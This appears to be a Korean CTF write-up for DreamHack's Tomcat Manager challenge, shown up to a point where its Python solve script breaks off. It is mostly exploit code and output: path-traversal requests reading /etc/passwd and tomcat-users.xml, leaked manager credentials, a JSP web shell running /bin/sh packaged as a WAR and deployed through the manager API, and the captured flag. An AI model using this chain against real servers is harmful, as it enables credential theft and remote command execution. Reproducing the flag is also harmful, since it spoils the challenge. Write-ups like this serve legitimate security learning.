[🥉 Bronze 1] 읽을 수 없는 flag — LFI로 매니저 비번 털어 RCE — DreamHack Tomcat Manager 풀이

<!-- index.jsp -->
<img src="./image.jsp?file=working.png"/>

<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");
 
response.setContentType("image/jpeg");
try {
    java.io.FileInputStream fileInputStream =
        new java.io.FileInputStream(filepath + _file);   // 검증 0
    int i;
    while ((i = fileInputStream.read()) != -1) { out.write(i); }
    fileInputStream.close();
} catch (Exception e) {
    response.sendError(404, "Not Found !");
}
%>

/usr/local/tomcat/webapps/ROOT/resources/
        6     5      4       3    2     1

$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/usr/sbin/nologin
...

$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../../../../flag"
HTTP Status 404 - Not Found !

$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../../../../etc/shadow"
HTTP Status 404 - Not Found !

$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../conf/tomcat-users.xml"
...
<user username="tomcat"
      password="P2assw0rd_4_t0mC2tM2nag3r31337"
      roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

$ curl -u 'tomcat:P2assw0rd_4_t0mC2tM2nag3r31337' \
       "http://host8.dreamhack.games:8220/manager/text/list"
OK - Listed applications for virtual host localhost
/manager:running:0:manager
/:running:18:ROOT
/docs:running:0:docs
...

<%-- cmd.jsp --%>
<%@ page import="java.util.*,java.io.*"%><%
String c = request.getParameter("cmd");
out.println("<pre>");
if (c != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String l; while ((l = r.readLine()) != null) out.println(l);
}
out.println("</pre>");
%>

$ jar -cvf shell.war cmd.jsp
$ curl -u 'tomcat:P2assw0rd_4_t0mC2tM2nag3r31337' \
       --upload-file shell.war \
       "http://host8.dreamhack.games:8220/manager/text/deploy?path=/sh&update=true"
OK - Deployed application at context path /sh

$ curl "http://host8.dreamhack.games:8220/sh/cmd.jsp?cmd=ls+-la+/flag"
---x--x--x    1 root     root    10616 Jul 13  2021 /flag

$ curl "http://host8.dreamhack.games:8220/sh/cmd.jsp?cmd=cat+/flag"
cat: can't open '/flag': Permission denied

$ curl "http://host8.dreamhack.games:8220/sh/cmd.jsp?cmd=/flag"
DH{a2062e589d0b1d627cf999066fb6c335ffe89ab85e81d7b7d91dd64e8f59d505}

# solve.py
import io, zipfile, urllib.request, base64, re
 
HOST = "host8.dreamhack.games:8220"
BASE = f"http://{HOST}"
 
def get(url, user=None):
    req = urllib.request.Request(url)
    if user:
        req.add_header("Authorization", "Basic " + base64.b64encode(user.encode()).decode())
    return urllib.request.urlopen(req, timeout=15).read().decode(errors="replace")
 
# 1) LFI 로 conf/tomcat-users.xml 의 진짜 매니저 비번 유출
conf = get(